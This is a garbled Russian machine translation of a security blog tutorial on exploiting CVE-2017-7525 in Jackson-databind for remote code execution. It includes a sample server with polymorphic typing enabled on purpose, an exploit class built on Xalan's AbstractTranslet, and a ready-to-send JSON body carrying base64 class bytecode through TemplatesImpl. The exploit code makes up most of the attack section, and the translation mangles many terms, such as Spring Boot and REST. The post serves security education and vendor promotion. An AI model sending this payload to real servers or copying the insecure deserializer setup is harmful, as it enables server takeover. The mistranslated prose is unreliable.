Абстрактный.
Насколько трудно использовать уязвимость в общей библиотеке Java, чтобы удаленно выполнить код Java на удаленном сервере и успешно взять на себя управление? Не так много, правда. В этой статье мы продемонстрируем, как это сделать, используя CVE-2017-7525 , хорошо известная уязвимость в Джексон-Данс? , широко используемая библиотека для сериализации и десериализации JSON, также часть Спринг-ботинок куча. Весь код, используемый здесь Доступно на Github Отказ
Код образца.
Как мы все знаем, задача сериализации и десериализации JSON-сообщений является очень распространенной задачей, особенно в современных приложениях на основе Microvies, основанные на отдыхе: почти каждый раз, когда называется API, сообщение JSON отправляется на сервер, чтобы быть преобразован в Java объект. Из-за Поток десериализации уязвимости В Jackson-Data Data Data теперь можно написать простые эксплойты, чтобы получить доступ к непастями серверами, когда Полиморфный тип обработки включен.
Чтобы четко объяснить концепции, мы представляем здесь простой сервер, который обрабатывает продукты с двумя отдыхающими API, один, чтобы получить список продуктов и один, чтобы добавить новый продукт. Обратите внимание, что это всего лишь образец: мы просто хотим предоставить вам простой и понятный кусок кода, и ни в коем случае не может быть классифицирован (мы надеемся!) Как код производства.
Образец нашего Продукт Класс, он имеет некоторую основную информацию о продукте:
public class Product { private int id; private String name; private String description; private Object data; protected Product() { } [...]
Наше ProductSatabase класс, просто прославленный хесмап
public class ProductsDatabase { private Mapproducts = new HashMap<>(); private AtomicInteger idGenerator = new AtomicInteger(0); public ProductsDatabase() { add(new Product(0,"apple", "Real apple from Italy", randomData())); add(new Product(0,"orange", "Real orange from Italy", randomData())); add(new Product(0,"kiwi", "Real kiwi from Italy", randomData())); } public Collection list() { return Collections.unmodifiableCollection(products.values()); } public Product add(Product newProduct) { Integer newId = idGenerator.incrementAndGet(); Product product = newProduct.duplicate(newId); products.put(newId.toString(), product); return product; } [...] }
Наше простой сервер , написано с Sparkjava :
public class Main { private static ProductsDatabase products = new ProductsDatabase(); private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping(); private static ObjectMapper serializer = new ObjectMapper(); public static void main(String[] args) { port(8888); // GET list all products get("/products", (request, response) -> { Collection res = products.list(); return serializer.writeValueAsString(res); }); // POST add new product post("/products", (request, response) -> { Product received = deserializer.readValue(request.body(), Product.class); products.add(received); response.status(201); }); } [...] }
Вы можете добавить продукт в базу данных с помощью простого вызова скручиваемости с корпусом JSON, содержащий новые данные продукта:
curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products
Эксплойта.
Для того, чтобы использовать уязвимость, нам нужно иметь вектор. По этому случаю мы решили использовать Apache Xalan , общая библиотека XSLT Также включен в JDK (который до версии 8U45 можно использовать в качестве вектора, таким же образом используется XALAN здесь). Обратите внимание, что существует множество других вариантов, доступных в качестве векторов атаки, но ради простоты мы будем сосредоточиться здесь на очень конкретном.
Мы будем использовать определенный класс от XALAN, который способен десетировать файл классов кодированного класса из XML и динамически создавать экземпляр такого класса: мы будем редить сообщение JSON, которое будет содержать закодированный класс нашего эксплуатация класса здесь:
public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet { public Exploit() throws Exception { System.err.println("Your server has been compromised!"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
Нам просто нужно компилировать этот исходный код в файле .class закодировал его в базе64 и подготовить наш Злое JSON MESSION :
{ "name": "fakeapple", "description": "Fake fruit from UK", "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl", { "transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ], "transletName": "oops!", "outputProperties": {} } }
После отправки сообщения на сервер Как нормальный «Добавить продукт» запрос , кодированный класс будет создан классом CHALAN TemplateSimpl для того, чтобы он заполнил значение поля выходаProPerties: в качестве выполнения кода конструктора выполняется, а сервер скомпрометирован. Да, у вас могут быть исключения на сервере, но уже слишком поздно.
Выводы
Это всего лишь один пример среди сотен подвигов, которые в настоящее время возможные, использующие публичные уязвимости на различных библиотеках открытых исходных источников и по этой причине, чрезвычайно важно, чтобы вы добавили в ваш сборнический трубопроводный сканер, способный обнаруживать и блокировать сборку, если такая ситуация обнаружена. Мы будем приглашать вас использовать нашу простой клиент командной строки в Meterian.io и избежать будущих неприятных сюрпризов. Вы не хотите быть Следующая Equifax Отказ
Вы можете связаться со мной в Meterian.io Действительно
Отказ от ответственности: Обратите внимание, что вся эта информация публично доступна в Интернете. Это просто сводный пост от практикующего кибербезопасности и ничего другого. Предоставляемый код предназначен только для исследовательских целей. Эта работа лицензирована под Creative Commons Attribution — NonCommercial 4.0 Международная лицензия .
Оригинал: «https://dev.to/bbossola/execute-java-code-on-a-remote-server-using-json-2nod»